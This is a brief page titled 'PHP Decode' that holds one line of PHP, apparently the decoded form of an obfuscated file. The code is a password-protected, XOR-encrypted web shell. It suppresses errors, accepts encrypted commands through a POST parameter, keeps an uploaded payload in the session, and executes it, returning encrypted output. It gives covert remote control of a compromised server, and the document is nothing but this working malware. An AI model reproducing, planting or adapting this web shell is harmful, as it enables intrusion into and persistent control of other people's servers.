PHP Decode

<?php @session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){for($i=0;$i<strlen($D);$i++){$c=$K[$i+1&15];$D[$i]=$D[$i]^$c;}return$D;}$pass='iRHMlkwjnY';$payloadName='payload';$key='640ee759334ef6f0';if(isset($_POST[$pass])){$data=encode(base64_decode($_POST[$pass]),$key);if(isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if(strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if(strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}}?>